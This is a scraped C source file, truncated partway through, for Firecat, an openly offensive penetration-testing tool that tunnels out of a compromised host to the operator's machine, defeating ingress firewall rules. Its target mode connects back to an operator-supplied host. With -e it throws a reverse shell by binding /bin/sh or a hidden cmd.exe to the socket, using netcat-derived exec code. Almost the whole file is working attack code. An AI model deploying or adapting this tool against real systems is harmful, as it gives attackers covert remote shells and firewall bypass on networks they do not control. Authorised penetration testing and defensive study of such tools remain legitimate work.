/
firecat.c
1043 lines (895 loc) · 28.7 KB
/
firecat.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
* Firecat
* Copyright (C) 2008-2011 Stach & Liu LLC
*
* Firecat allows you to punch reverse TCP tunnels out of a compromised host,
* enabling you to connect to arbitrary host/ports on the target network regardless of
* ingress firewall rules.
*
* It incorporates code from netcat for Windows, specifically the "-e" command execution code.
*
*/
#define VERSION "1.6"
#include <sys/types.h>
#ifdef __WIN32__
#include <windows.h>
#define _INC_WINDOWS
#include <winbase.h>
#include <winsock2.h>
#define SHUT_RDWR SD_BOTH
#else
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#ifdef _POSIX_VERSION
#if _POSIX_VERSION >= 200112L
#include <sys/select.h>
#endif
#endif
#endif
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/time.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#ifdef __WIN32__
#define CMD_SHELL "c:\\windows\\system32\\cmd.exe"
#else
#define CMD_SHELL "/bin/sh"
#endif
#ifndef max
int max(const int x, const int y) {
return (x > y) ? x : y;
}
#endif
#define BUF_SIZE 1024
#define DOEXEC_BUFFER_SIZE 200 // twiddle for windows doexec stuff. ctrl-f for "nc111nt.zip"
enum MODES { CONSULTANT_MODE, TARGET_MODE };
extern char *optarg;
extern int optind, opterr, optopt;
char *pr00gie=NULL; // from nc111nt. see doexec stuff, below.
const char *usageString = ""
"FireCat v"VERSION" - Copyright 2008-2011 Stach & Liu\n\n" \
"Usage: firecat -m <mode> [options]\n\n" \
" -m <mode> 0 = consultant, 1 = target\n\n" \
"In consultant mode:\n\n" \
" -t <port> Wait for incoming connections from target on this port\n" \
" -s <port> Wait for incoming connections from you on this port\n" \
" Connections to this port will be forwarded over tunnel\n\n" \
"In target mode:\n\n" \
" -h <host> Connect back to <host> (your IP)\n" \
" -t <port> Connect back to TCP <port> on <host>\n" \
" -H <target> (optional) Connect to <target> inside the target network\n" \
" Default: localhost\n"
" -e Throw a connect-back shell to <host>:<port> on your box\n" \
" or\n" \
" -s <port> Create a tunnel to <target>:<port> inside the target network\n\n";
void usage(void) {
puts(usageString);
}
int do_consultant(const int tunnelPort, const int servicePort);
int do_target(const char *consultantHost, const char *targetHost, const int tunnelPort, const int servicePort);
int listen_socket(const int listen_port);
int connect_socket(const int connect_port, const char *address);
int shovel_data(const int fd1, const int fd2);
void close_sock(const int fd);
#ifdef __WIN32__
BOOL doexec(SOCKET ClientSocket);
#else
void doexec(int sock);
#endif
/*************************
* main
*/
int main(int argc, char **argv) {
int opt, retVal;
char consultantHost[BUF_SIZE];
char targetHost[BUF_SIZE];
int tunnelPort = 0, servicePort = 0, mode = 0xff;
memset(consultantHost, 0, BUF_SIZE);
memset(targetHost, 0, BUF_SIZE);
strncpy(targetHost, "localhost", BUF_SIZE);
// parse commandline
while((opt = getopt(argc, argv, "m:t:s:h:H:e")) != -1) {
switch(opt) {
case 'm':
mode = (int)strtol(optarg, NULL, 10);
if(mode != 0 && mode != 1) {
usage();
exit(1);
}
break;
case 't':
tunnelPort = (int)strtol(optarg, NULL, 10);
break;
case 's':
servicePort = (int)strtol(optarg, NULL, 10);
break;
case 'H':
strncpy(targetHost, optarg, BUF_SIZE);
break;
case 'h':
strncpy(consultantHost, optarg, BUF_SIZE);
break;
case 'e':
pr00gie=strdup(CMD_SHELL);
break;
default:
usage();
exit(1);
break;
}
}
// Windows requires extra fiddling
#ifdef __WIN32__
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD( 1, 1 );
WSAStartup( wVersionRequested, &wsaData );
#endif
// In consultant
if(mode == CONSULTANT_MODE) {
if(!tunnelPort || !servicePort) {
usage();
exit(1);
}
retVal = do_consultant(tunnelPort, servicePort);
} else if(mode == TARGET_MODE) {
if(!(tunnelPort && (servicePort || pr00gie)) || !consultantHost[0] || (servicePort && pr00gie)) {
usage();
exit(1);
}
retVal = do_target(consultantHost, targetHost, tunnelPort, servicePort);
} else {
usage();
exit(1);
}
exit(retVal);
}
/****************************
* do_consultant()
*
* Waits for a connection from the target on port 'tunnelPort'.
* Once received, waits for connection from local client on port 'servicePort'.
* Once received, shovels bytes between the two endpoints.
*/
int do_consultant(const int tunnelPort, const int servicePort) {
int tunnelSock, serviceSock, targetSock, clientSock;
unsigned int i;
struct sockaddr_in targetAddr, clientAddr;
char buf[BUF_SIZE + 1];
// wait for connection from the remote target host
if((tunnelSock = listen_socket(tunnelPort)) == -1)
return 1;
i = sizeof(targetAddr);
printf("Consultant: Waiting for the remote target to establish the tunnel on port %d\n",tunnelPort);
if((targetSock = accept(tunnelSock, (struct sockaddr *)&targetAddr, &i)) == -1) {
perror("ERROR: accept()");
return 1;
}
printf("Consultant: Got connection from remote target %s\n", inet_ntoa(targetAddr.sin_addr));
// wait for an 'OK' from the target
printf("Consultant: Waiting for ACK...\n");
if(recv(targetSock, buf, 2, 0) == -1) {
perror("ERROR: recv()");
return 1;
}
if(buf[0] != 'O' || buf[1] != 'K') {
printf("ERROR: Failed to acknowledge tunnel\n");
return 1;
}
printf("Consultant: Received ACK, tunnel is established\n");
// ok, tunnel is up and running
// wait for connection from the local client program before sending an OK down the tunnel
if((serviceSock = listen_socket(servicePort)) == -1)
return 1;
i = sizeof(clientAddr);
printf("Consultant: Tunnel is now up on localhost:%d\n", servicePort);
printf(" Connections will be forwarded to target host.\n");
if((clientSock = accept(serviceSock,(struct sockaddr *) &clientAddr, &i)) == -1) {
perror("ERROR: accept()");
return 1;
}
printf("Consultant: Got connection from local client %s\n", inet_ntoa(clientAddr.sin_addr));
printf("Consultant: Telling remote target host...\n");
// send an 'OK'
if(send(targetSock, "OK", 2, 0) == -1) {
perror("ERROR: send()");
return 1;
}
printf("Consultant: Wo0t! You are connected. Shovelling data... press CTRL-C to abort\n");
// shovel data between the client and the target
return shovel_data(targetSock, clientSock);
}
/***********************
* do_target()
*
* Connects to the consultant's machine on port 'tunnelPort'
* Once established, waits for an 'OK' that signifies the client has connected.
* Once received, connects locally to the port specified by 'servicePort'
* and shovels bits across the tunnel between the client program and the local service port.
*/
int do_target(const char *consultantHost, const char *targetHost, const int tunnelPort, const int servicePort) {
int tunnelSock, serviceSock;
char buf[BUF_SIZE];
// connect to the consultant's host
printf("Target: Establishing tunnel with remote host on %s:%d\n", consultantHost, tunnelPort);
if((tunnelSock = connect_socket(tunnelPort, consultantHost)) == -1)
return 1;
// send an ACK
if(send(tunnelSock, "OK", 2, 0) == -1) {
perror("ERROR: send()");
return 1;
}
printf("Target: Tunnel is up, waiting for client to connect on remote end...\n");
// wait for an ACK from the consultant before connecting to the local service
if(recv(tunnelSock, buf, 2, 0) == -1) {
perror("ERROR: recv()");
return 1;
}
if(buf[0] != 'O' || buf[1] != 'K') {
printf("ERROR: Failed to acknowledge tunnel\n");
return 1;
}
printf("Target: Client has connected on the remote end\n");
// spawn a connect-back shell if needed
if(pr00gie) {
doexec(tunnelSock);
return 1; // we only hit this on exec() throwing an error
}
// if we're not spawning a shell we must be building a tunnel. Let's do it!
// connect to local service
printf("Target: Connecting to local service port %d\n", servicePort);
if((serviceSock = connect_socket(servicePort, targetHost)) == -1)
return 1;
printf("Target: Connected to service port %s:%d\n", targetHost, servicePort);
printf("Target: Shovelling data across the tunnel...\n");
// shovel data between the client and the target
return shovel_data(tunnelSock, serviceSock);
}
#ifndef __WIN32__
/************************
* doexec()
*
* For *nix - redirects stdin, stdout, stderr to the tunnel socket
* and then spawns a command shell.
* Based on code from netcat.
*/
void doexec(int sock) {
char *p=pr00gie;
dup2(sock, 0);
close(sock);
dup2(0, 1);
dup2(0, 2);
if((p=strrchr(pr00gie, '/')))
p++;
execl(pr00gie, p, NULL);
}
#endif
/************************
* shovel_data()
*
* Data forwarding code that performs bidirectional tunneling between two end point sockets.
*/
int shovel_data(const int fd1, const int fd2) {
fd_set rd, wr, er;
char c, buf1[BUF_SIZE], buf2[BUF_SIZE];
int r, nfds;
int buf1_avail = 0, buf1_written = 0;
int buf2_avail = 0, buf2_written = 0;
// Loop forever. This requires a CTRL-C or disconnected socket to abort.
while(1) {
// ensure things are sane each time around
nfds = 0;
FD_ZERO(&rd);
FD_ZERO(&wr);
FD_ZERO(&er);
// setup the arrays for monitoring OOB, read, and write events on the 2 sockets
if(buf1_avail < BUF_SIZE) {
FD_SET(fd1, &rd);
nfds = max(nfds, fd1);
}
if(buf2_avail < BUF_SIZE) {
FD_SET(fd2, &rd);
nfds = max(nfds, fd2);
}
if((buf2_avail - buf2_written) > 0) {
FD_SET(fd1, &wr);
nfds = max(nfds, fd1);
}
if((buf1_avail - buf1_written) > 0) {
FD_SET(fd2, &wr);
nfds = max(nfds, fd2);
}
FD_SET(fd1, &er);
nfds = max(nfds, fd1);
FD_SET(fd2, &er);
nfds = max(nfds, fd2);
// wait for something interesting to happen on a socket, or abort in case of error
if(select(nfds + 1, &rd, &wr, &er, NULL) == -1)
return 1;
// OOB data ready
if(FD_ISSET(fd1, &er)) {
if(recv(fd1, &c, 1, MSG_OOB) < 1) {
return 1;
} else {
if(send(fd2, &c, 1, MSG_OOB) < 1) {
perror("ERROR: send()");
return 1;
}
}
}
if(FD_ISSET(fd2, &er)) {
if(recv(fd2, &c, 1, MSG_OOB) < 1) {
return 1;
} else {
if(send(fd1, &c, 1, MSG_OOB) < 1) {
perror("ERROR: send()");
return 1;
}
}
}
// Data ready to read from socket(s)
if(FD_ISSET(fd1, &rd)) {
if((r = recv(fd1, buf1 + buf1_avail, BUF_SIZE - buf1_avail, 0)) < 1)
return 1;
else
buf1_avail += r;
}
if(FD_ISSET(fd2, &rd)) {
if((r = recv(fd2, buf2 + buf2_avail, BUF_SIZE - buf2_avail, 0)) < 1)
return 1;
else
buf2_avail += r;
}
// Data ready to write to socket(s)
if(FD_ISSET(fd1, &wr)) {
if((r = send(fd1, buf2 + buf2_written, buf2_avail - buf2_written, 0)) < 1)
return 1;
else
buf2_written += r;
}
if(FD_ISSET(fd2, &wr)) {
if((r = send(fd2, buf1 + buf1_written, buf1_avail - buf1_written, 0)) < 1)
return 1;
else
buf1_written += r;
}
// Check to ensure written data has caught up with the read data
if(buf1_written == buf1_avail)
buf1_written = buf1_avail = 0;
if(buf2_written == buf2_avail)
buf2_written = buf2_avail = 0;
}
}
/************************
* listen_socket()
*
* Sets up a socket, bind()s it to all interfaces, then listen()s on it.
* Returns a valid socket, or -1 on failure
*/
int listen_socket(const int listen_port)
{
struct sockaddr_in a;
int s;
int yes = 1;
// get a fresh juicy socket
if((s = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
perror("ERROR: socket()");
return -1;
}
// make sure it's quickly reusable
if(setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (char *) &yes, sizeof(yes)) < 0) {
perror("ERROR: setsockopt()");
close(s);
return -1;
}
// listen on all of the hosts interfaces/addresses (0.0.0.0)
memset(&a, 0, sizeof(a));
a.sin_port = htons(listen_port);
a.sin_addr.s_addr = htonl(INADDR_ANY);
a.sin_family = AF_INET;
if(bind(s, (struct sockaddr *) &a, sizeof(a)) < 0) {
perror("ERROR: bind()");
close(s);
return -1;
}
listen(s, 10);
return s;
}
/*****************
* connect_socket()
*
* Connects to a remote host:port and returns a valid socket if successful.
* Returns -1 on failure.
*/
int connect_socket(const int connect_port, const char *address) {
struct sockaddr_in a;
struct hostent *ha;
int s;
// get a fresh juicy socket
if((s = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
perror("ERROR: socket()");
close(s);
return -1;
}
// clear the sockaddr_in structure
memset(&a, 0, sizeof(a));
a.sin_port = htons(connect_port);
a.sin_family = AF_INET;
// get IP from host name, if appropriate
if((ha = gethostbyname(address)) == NULL) {
perror("ERROR: gethostbyname()");
return -1;
}
if(ha->h_length == 0) {
printf("ERROR: No addresses for %s. Aborting.\n", address);
return -1;
}
memcpy(&a.sin_addr, ha->h_addr_list[0], ha->h_length);
// connect to the remote host
if(connect(s, (struct sockaddr *) &a, sizeof(a)) < 0) {
perror("ERROR: connect()");
shutdown(s, SHUT_RDWR);
close(s);
return -1;
}
// w00t, it worked.
return s;
}
// this deals with windows' broken dup() system.
// all this for a little dup2, dup2, exec? dang.
#ifdef __WIN32__
/*************************
* Everything below here is taken from doexec.c in the nc111nt.zip version of netcat for Windows.
* I've included license.txt from the original archive.
*/
// for license see license.txt
// Modified 5/4/2011 by Carl Livitt
// twiddled it to work as copy pasta inside firecat
// Modified 12/27/2004 by Chris Wysopal <weld@vulnwatch.com>
// fixed vulnerability found by hat-squad
// portions Copyright (C) 1994 Nathaniel W. Mishkin
// code taken from rlogind.exe
void holler(char * str, char * p1, char * p2, char * p3, char * p4, char * p5, char * p6);
char *winsockstr(int error);
char smbuff[20];
//
// Structure used to describe each session
//
typedef struct {
//
// These fields are filled in at session creation time
//
HANDLE ReadPipeHandle; // Handle to shell stdout pipe
HANDLE WritePipeHandle; // Handle to shell stdin pipe
HANDLE ProcessHandle; // Handle to shell process
//
//
// These fields are filled in at session connect time and are only
// valid when the session is connected
//
SOCKET ClientSocket;
HANDLE ReadShellThreadHandle; // Handle to session shell-read thread
HANDLE WriteShellThreadHandle; // Handle to session shell-read thread
} SESSION_DATA, *PSESSION_DATA;
//
// Private prototypes
//
static HANDLE
StartShell(
HANDLE StdinPipeHandle,
HANDLE StdoutPipeHandle
);
static VOID
SessionReadShellThreadFn(
LPVOID Parameter
);
static VOID
SessionWriteShellThreadFn(
LPVOID Parameter
);
// **********************************************************************
//
// CreateSession
//
// Creates a new session. Involves creating the shell process and establishing
// pipes for communication with it.
//
// Returns a handle to the session or NULL on failure.
//
static PSESSION_DATA
CreateSession(
VOID
)
{
PSESSION_DATA Session = NULL;
BOOL Result;
SECURITY_ATTRIBUTES SecurityAttributes;
HANDLE ShellStdinPipe = NULL;
HANDLE ShellStdoutPipe = NULL;
//
// Allocate space for the session data
//
Session = (PSESSION_DATA) malloc(sizeof(SESSION_DATA));
if (Session == NULL) {
return(NULL);
}
//
// Reset fields in preparation for failure
//
Session->ReadPipeHandle = NULL;
Session->WritePipeHandle = NULL;
//
// Create the I/O pipes for the shell
//
SecurityAttributes.nLength = sizeof(SecurityAttributes);
SecurityAttributes.lpSecurityDescriptor = NULL; // Use default ACL
SecurityAttributes.bInheritHandle = TRUE; // Shell will inherit handles
Result = CreatePipe(&Session->ReadPipeHandle, &ShellStdoutPipe,
&SecurityAttributes, 0);
if (!Result) {
holler("Failed to create shell stdout pipe, error = %s",
itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL);
goto Failure;
}
Result = CreatePipe(&ShellStdinPipe, &Session->WritePipeHandle,
&SecurityAttributes, 0);
if (!Result) {
holler("Failed to create shell stdin pipe, error = %s",
itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL);
goto Failure;
}
//
// Start the shell
//
Session->ProcessHandle = StartShell(ShellStdinPipe, ShellStdoutPipe);
//
// We're finished with our copy of the shell pipe handles
// Closing the runtime handles will close the pipe handles for us.
//
CloseHandle(ShellStdinPipe);
CloseHandle(ShellStdoutPipe);
//
// Check result of shell start
//
if (Session->ProcessHandle == NULL) {
holler("Failed to execute shell", NULL,
NULL, NULL, NULL, NULL, NULL);
goto Failure;
}
//
// The session is not connected, initialize variables to indicate that
//
Session->ClientSocket = INVALID_SOCKET;
//
// Success, return the session pointer as a handle
//
return(Session);
Failure:
//
// We get here for any failure case.
// Free up any resources and exit
//
if (ShellStdinPipe != NULL)
CloseHandle(ShellStdinPipe);
if (ShellStdoutPipe != NULL)
CloseHandle(ShellStdoutPipe);
if (Session->ReadPipeHandle != NULL)
CloseHandle(Session->ReadPipeHandle);
if (Session->WritePipeHandle != NULL)
CloseHandle(Session->WritePipeHandle);
free(Session);
return(NULL);
}
BOOL
doexec(
SOCKET ClientSocket
)
{
PSESSION_DATA Session = CreateSession();
SECURITY_ATTRIBUTES SecurityAttributes;
DWORD ThreadId;
HANDLE HandleArray[3];
int i;
SecurityAttributes.nLength = sizeof(SecurityAttributes);
SecurityAttributes.lpSecurityDescriptor = NULL; // Use default ACL
SecurityAttributes.bInheritHandle = FALSE; // No inheritance
//
// Store the client socket handle in the session structure so the thread
// can get at it. This also signals that the session is connected.
//
Session->ClientSocket = ClientSocket;
//
// Create the session threads
//
Session->ReadShellThreadHandle =
CreateThread(&SecurityAttributes, 0,
(LPTHREAD_START_ROUTINE) SessionReadShellThreadFn,
(LPVOID) Session, 0, &ThreadId);
if (Session->ReadShellThreadHandle == NULL) {
holler("Failed to create ReadShell session thread, error = %s",
itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL);
//
// Reset the client pipe handle to indicate this session is disconnected
//
Session->ClientSocket = INVALID_SOCKET;
return(FALSE);
}
Session->WriteShellThreadHandle =
CreateThread(&SecurityAttributes, 0,
(LPTHREAD_START_ROUTINE) SessionWriteShellThreadFn,
(LPVOID) Session, 0, &ThreadId);
if (Session->WriteShellThreadHandle == NULL) {
holler("Failed to create ReadShell session thread, error = %s",
itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL);
//
// Reset the client pipe handle to indicate this session is disconnected
//
Session->ClientSocket = INVALID_SOCKET;
TerminateThread(Session->WriteShellThreadHandle, 0);
return(FALSE);
}
//
// Wait for either thread or the shell process to finish
//
HandleArray[0] = Session->ReadShellThreadHandle;
HandleArray[1] = Session->WriteShellThreadHandle;
HandleArray[2] = Session->ProcessHandle;
i = WaitForMultipleObjects(3, HandleArray, FALSE, 0xffffffff);
switch (i) {
case WAIT_OBJECT_0 + 0:
TerminateThread(Session->WriteShellThreadHandle, 0);
TerminateProcess(Session->ProcessHandle, 1);
break;
case WAIT_OBJECT_0 + 1:
TerminateThread(Session->ReadShellThreadHandle, 0);
TerminateProcess(Session->ProcessHandle, 1);
break;
case WAIT_OBJECT_0 + 2:
TerminateThread(Session->WriteShellThreadHandle, 0);
TerminateThread(Session->ReadShellThreadHandle, 0);
break;
default:
holler("WaitForMultipleObjects error: %s",
itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL);
break;
}
// Close my handles to the threads, the shell process, and the shell pipes
shutdown(Session->ClientSocket, SD_BOTH);
closesocket(Session->ClientSocket);
DisconnectNamedPipe(Session->ReadPipeHandle);
CloseHandle(Session->ReadPipeHandle);
DisconnectNamedPipe(Session->WritePipeHandle);
CloseHandle(Session->WritePipeHandle);
CloseHandle(Session->ReadShellThreadHandle);
CloseHandle(Session->WriteShellThreadHandle);
CloseHandle(Session->ProcessHandle);
free(Session);
return(TRUE);
}
// **********************************************************************
//
// StartShell
//
// Execs the shell with the specified handle as stdin, stdout/err
//
// Returns process handle or NULL on failure
//
static HANDLE
StartShell(
HANDLE ShellStdinPipeHandle,
HANDLE ShellStdoutPipeHandle
)
{
PROCESS_INFORMATION ProcessInformation;
STARTUPINFO si;
HANDLE ProcessHandle = NULL;
//
// Initialize process startup info
//
si.cb = sizeof(STARTUPINFO);
si.lpReserved = NULL;
si.lpTitle = NULL;
si.lpDesktop = NULL;
si.dwX = si.dwY = si.dwXSize = si.dwYSize = 0L;
si.wShowWindow = SW_HIDE;
si.lpReserved2 = NULL;
si.cbReserved2 = 0;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdInput = ShellStdinPipeHandle;
si.hStdOutput = ShellStdoutPipeHandle;
DuplicateHandle(GetCurrentProcess(), ShellStdoutPipeHandle,
GetCurrentProcess(), &si.hStdError,
DUPLICATE_SAME_ACCESS, TRUE, 0);
if (CreateProcess(NULL, pr00gie, NULL, NULL, TRUE, 0, NULL, NULL,
&si, &ProcessInformation))
{
ProcessHandle = ProcessInformation.hProcess;
CloseHandle(ProcessInformation.hThread);
}
else
holler("Failed to execute shell, error = %s",
itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL);
return(ProcessHandle);
}
// **********************************************************************
// SessionReadShellThreadFn
//
// The read thread procedure. Reads from the pipe connected to the shell
// process, writes to the socket.
//
static VOID
SessionReadShellThreadFn(
LPVOID Parameter
)
{
PSESSION_DATA Session = Parameter;
BYTE Buffer[DOEXEC_BUFFER_SIZE];
BYTE Buffer2[DOEXEC_BUFFER_SIZE*2+30];
DWORD BytesRead;
// this bogus peek is here because win32 won't let me close the pipe if it is
// in waiting for input on a read.
while (PeekNamedPipe(Session->ReadPipeHandle, Buffer, sizeof(Buffer),
&BytesRead, NULL, NULL))
{
DWORD BufferCnt, BytesToWrite;
BYTE PrevChar = 0;
if (BytesRead > 0)
{
ReadFile(Session->ReadPipeHandle, Buffer, sizeof(Buffer),
&BytesRead, NULL);
}
else
{
Sleep(50);
continue;
}
//
// Process the data we got from the shell: replace any naked LF's
// with CR-LF pairs.
//
for (BufferCnt = 0, BytesToWrite = 0; BufferCnt < BytesRead; BufferCnt++) {
if (Buffer[BufferCnt] == '\n' && PrevChar != '\r')
Buffer2[BytesToWrite++] = '\r';
PrevChar = Buffer2[BytesToWrite++] = Buffer[BufferCnt];
}
if (send(Session->ClientSocket, Buffer2, BytesToWrite, 0) <= 0)
break;
}
if (GetLastError() != ERROR_BROKEN_PIPE)
holler("SessionReadShellThreadFn exitted, error = %s",
itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL);
ExitThread(0);
}
// **********************************************************************
// SessionWriteShellThreadFn
//
// The write thread procedure. Reads from socket, writes to pipe connected
// to shell process.
static VOID
SessionWriteShellThreadFn(
LPVOID Parameter
)
{
PSESSION_DATA Session = Parameter;
BYTE RecvBuffer[1];
BYTE Buffer[DOEXEC_BUFFER_SIZE];
DWORD BytesWritten;
DWORD BufferCnt;
BufferCnt = 0;
//
// Loop, reading one byte at a time from the socket.
//
while (recv(Session->ClientSocket, RecvBuffer, sizeof(RecvBuffer), 0) != 0) {
Buffer[BufferCnt++] = RecvBuffer[0];
if (RecvBuffer[0] == '\r')
Buffer[BufferCnt++] = '\n';
// Trap exit as it causes problems
if (strnicmp(Buffer, "exit\r\n", 6) == 0)
ExitThread(0);
//
// If we got a CR, it's time to send what we've buffered up down to the
// shell process.
// SECURITY FIX: CW 12/27/04 Add BufferCnt size check. If we hit end of buffer, flush it
if (RecvBuffer[0] == '\n' || RecvBuffer[0] == '\r' || BufferCnt > DOEXEC_BUFFER_SIZE-1) {
if (! WriteFile(Session->WritePipeHandle, Buffer, BufferCnt,
&BytesWritten, NULL))
{
break;
}
BufferCnt = 0;
}
}
ExitThread(0);
}
// ripped from netcat.c
/* holler :
fake varargs -- need to do this way because we wind up calling through
more levels of indirection than vanilla varargs can handle, and not all
machines have vfprintf/vsyslog/whatever! 6 params oughta be enough. */
void holler (str, p1, p2, p3, p4, p5, p6)
char * str;
char * p1, * p2, * p3, * p4, * p5, * p6;
{
fprintf (stderr, str, p1, p2, p3, p4, p5, p6);
#ifdef WIN32
if (h_errno)
fprintf (stderr, ": %s\n",winsockstr(h_errno));
#else
if (errno) { /* this gives funny-looking messages, but */
perror (" "); /* it's more portable than sys_errlist[]... */
} /* xxx: do something better. */
/* yyy: did something worse. */
#endif
else
fprintf (stderr, "\n");
fflush (stderr);
} /* holler */
/* winsockstr
Windows Sockets cannot report errors through perror() so we need to define
our own error strings to print. Someday all the string should be prettied up.
Prettied the errors I usually get */
char * winsockstr(error)
int error;
{
switch (error)
{
case WSAEINTR : return("INTR ");
case WSAEBADF : return("BADF ");
case WSAEACCES : return("ACCES ");
case WSAEFAULT : return("FAULT ");
case WSAEINVAL : return("INVAL ");
case WSAEMFILE : return("MFILE ");
case WSAEWOULDBLOCK : return("WOULDBLOCK ");
case WSAEINPROGRESS : return("INPROGRESS ");
case WSAEALREADY : return("ALREADY ");
case WSAENOTSOCK : return("NOTSOCK ");
case WSAEDESTADDRREQ : return("DESTADDRREQ ");
case WSAEMSGSIZE : return("MSGSIZE ");
case WSAEPROTOTYPE : return("PROTOTYPE ");